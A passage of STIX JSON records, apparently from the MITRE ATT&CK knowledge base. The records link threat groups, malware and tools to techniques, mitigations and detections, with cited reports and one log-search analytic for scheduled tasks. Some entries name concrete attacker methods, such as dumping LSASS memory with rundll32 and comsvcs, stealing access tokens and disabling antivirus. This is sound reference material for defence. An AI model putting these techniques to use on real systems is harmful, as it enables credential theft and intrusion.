"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56ff911a-d7bb-4176-8e1f-bf0f46cc7f89", "type": "relationship", "created": "2020-11-06T18:40:38.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. 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Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.183Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can steal access tokens from exiting processes.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--570495a2-c010-4180-abb7-682e6e6528a3", "created": "2023-09-20T14:07:19.711Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. 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Retrieved January 17, 2019."}], "modified": "2019-04-22T19:59:21.537Z", "description": "[POWERTON](https://attack.mitre.org/software/S0371) is written in PowerShell.(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--570df7f7-f2d5-4de9-ba74-4adfa99e980f", "type": "relationship", "created": "2021-01-06T17:34:44.009Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. 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(2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T16:22:09.309Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used WinRM for lateral movement.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--571dc63c-8073-4898-8434-94f8ce2e8d6d", "type": "relationship", "created": "2021-03-02T16:42:09.496Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CERT-FR PYSA April 2020", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}], "modified": "2021-03-02T16:42:09.496Z", "description": "[Pysa](https://attack.mitre.org/software/S0583) has the capability to stop antivirus services and disable Windows Defender.(Citation: CERT-FR PYSA April 2020) ", "relationship_type": "uses", "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--571f784e-af1c-4e0d-bd5c-7b9223187e39", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Monitor for newly constructed logon behavior that may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. 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Retrieved October 2, 2020."}], "modified": "2020-11-17T18:39:06.979Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has created a service on victim machines named \"TaskFrame\" to establish persistence.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--572a0bc0-58e6-4a8e-a28c-7d8be0bfd781", "created": "2022-04-12T20:43:24.799Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf", "description": "ClearSky Research Team. (2020, August 13). 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Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DRATzarus](https://attack.mitre.org/software/S0694) can collect information from a compromised host.(Citation: ClearSky Lazarus Aug 2020)", "modified": "2022-04-12T20:43:24.799Z", "relationship_type": "uses", "source_ref": "malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57350311-f2bd-4ca8-ba95-67c255422bbb", "type": "relationship", "created": "2021-07-26T13:50:48.264Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ITSyndicate Disabling PHP functions", "url": "https://itsyndicate.org/blog/disabling-dangerous-php-functions/", "description": "Kondratiev, A. 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Another variant is encoded with XOR.(Citation: US-CERT TYPEFRAME June 2018)", "relationship_type": "uses", "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--573f3932-8435-4b4a-b138-d9c955495197", "type": "relationship", "created": "2020-06-01T15:46:47.631Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}], "modified": "2020-06-01T15:46:47.631Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used UPX to obscure malicious code.(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5744b31d-6633-44ca-8170-17489fec124c", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig May 2016", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Dec 2017"}], "modified": "2020-03-18T20:18:02.883Z", "description": "(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5750c3fc-54dc-41e0-b661-c548deee0b9a", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Twitter Leoloobeek Scheduled Task", "description": "Loobeek, L. (2017, December 8). leoloobeek Status. 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Although the command_line is not essential for the analytic to run, it is critical when identifying the command that was scheduled.\n\nAnalytic 1 - Scheduled Task\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"*at.exe\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57527643-2aef-4171-b61a-665ab8ed991b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Tick Apr 2016", "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}], "modified": "2020-03-30T02:04:22.503Z", "description": "[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.(Citation: Symantec Tick Apr 2016)", "relationship_type": "uses", "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57563748-1634-4625-baa4-73a4b1d7dbfb", "type": "relationship", "created": "2020-12-28T21:51:00.014Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", "url": "https://wald0.com/?p=179", "source_name": "Wald0 Guide to GPOs"}, {"description": "Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.", "url": "https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/", "source_name": "Microsoft WMI Filters"}, {"description": "Microsoft. (2018, May 30). Filtering the Scope of a GPO. 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Retrieved April 28, 2020."}, {"source_name": "Volexity Ocean Lotus November 2020", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}, {"source_name": "Amnesty Intl. Ocean Lotus February 2021", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}], "modified": "2021-09-24T20:24:27.075Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails containing malicious links.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: FireEye APT32 April 2020)(Citation: Volexity Ocean Lotus November 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--57597bcb-9cbc-49d4-adfb-fb4c0fe6090e", "created": "2022-05-27T14:11:22.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Report APT35 ProxyShell March 2022", "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.", "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T16:52:36.240Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory.(Citation: DFIR Report APT35 ProxyShell March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5761f7ba-920b-491b-a010-d12645dedf0b", "type": "relationship", "created": "2020-10-20T15:50:00.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-16T17:32:34.749Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--57637c68-0d94-427a-a803-4f1900ccefac", "created": "2024-03-06T17:51:14.674Z", "revoked": false, "external_references": [{"source_name": "Volexity Ivanti Zero-Day Exploitation January 2024", "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-06T17:51:14.674Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors peformed reconnaissance of victims' internal websites via proxied connections.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5765c7d1-884f-4d6d-a938-4a92c86a9e21", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secpod Winexe June 2017", "description": "Prakash, T. (2017, June 21). Run commands on Windows system remotely using Winexe. Retrieved January 22, 2018.", "url": "http://www.secpod.com/blog/winexe/"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[Winexe](https://attack.mitre.org/software/S0191) installs a service on the remote system, executes the command, then uninstalls the service.(Citation: Secpod Winexe June 2017)", "relationship_type": "uses", "source_ref": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--576c98f3-5753-4242-a5e3-7c0f769c27a1", "type": "relationship", "created": "2021-03-25T14:53:58.068Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T14:53:58.068Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the time on a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--576cbf79-037c-4265-af56-cd0d7a57c1b9", "created": "2022-09-27T18:12:28.986Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). 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Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-07T20:43:43.651Z", "description": "For [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors purchased servers with Bitcoin to use during the operation.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--576db5e8-7371-4dea-ada9-599cc231e727", "type": "relationship", "created": "2020-06-10T18:15:11.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.391Z", "description": "[BBK](https://attack.mitre.org/software/S0470) has the ability to download files from C2 to the infected host.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--576f0fb4-4cd7-467b-9208-3977321705e4", "created": "2022-09-29T19:56:25.812Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T19:56:25.812Z", "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors obtained files and data from the compromised network.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--577796a0-efbb-4023-9083-a76f97bec6f8", "type": "relationship", "created": "2020-11-10T21:04:35.408Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-10T21:04:35.408Z", "description": "[Melcoz](https://attack.mitre.org/software/S0530) can monitor the victim's browser for online banking sessions and display an overlay window to manipulate the session in the background.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--577a7635-c4e3-42ab-8f16-d59330fdd535", "type": "relationship", "created": "2021-01-20T18:39:29.145Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . 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Now You Serial, Now You Don\u2019t \u2014 Systematically Hunting for Deserialization Exploits. Retrieved November 28, 2023.", "url": "https://www.mandiant.com/resources/blog/hunting-deserialization-exploits"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-11-28T21:28:09.056Z", "description": "Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection strings or known payloads. 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(2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.", "url": "https://pages.nist.gov/800-63-3/sp800-63b.html", "source_name": "NIST 800-63-3"}], "modified": "2021-04-06T12:31:06.885Z", "description": "Refer to NIST guidelines when creating password policies. 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(2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.426Z", "description": "[Attor](https://attack.mitre.org/software/S0438) can download additional plugins, updates and other files. (Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Wikipedia pwdump", "description": "Wikipedia. (2007, August 9). pwdump. Retrieved June 22, 2016.", "url": "https://en.wikipedia.org/wiki/Pwdump"}], "modified": "2020-08-13T20:12:50.925Z", "description": "[pwdump](https://attack.mitre.org/software/S0006) can be used to dump credentials from the SAM.(Citation: Wikipedia pwdump)", "relationship_type": "uses", "source_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57a31238-b362-4c07-b8ae-45a619ece297", "type": "relationship", "created": "2020-01-24T14:56:24.425Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T14:56:24.425Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57a7fefa-774b-4653-af2d-ebf3e2e315ce", "type": "relationship", "created": "2019-01-29T20:09:31.931Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.brighttalk.com/webcast/10703/275683", "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", "source_name": "FireEye APT33 Webinar Sept 2017"}], "modified": "2019-06-28T15:05:33.695Z", "description": "(Citation: FireEye APT33 Webinar Sept 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57a9c0ef-6b92-415e-9f72-a78483e35f5f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. 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(2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-11T16:48:44.895Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can gain system level privilege by passing <code>SeDebugPrivilege</code> to the <code>AdjustTokenPrivilege</code> API.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57ac1c4f-03fb-4b9e-a4b3-21eb76e7e305", "type": "relationship", "created": "2021-03-12T16:55:09.336Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 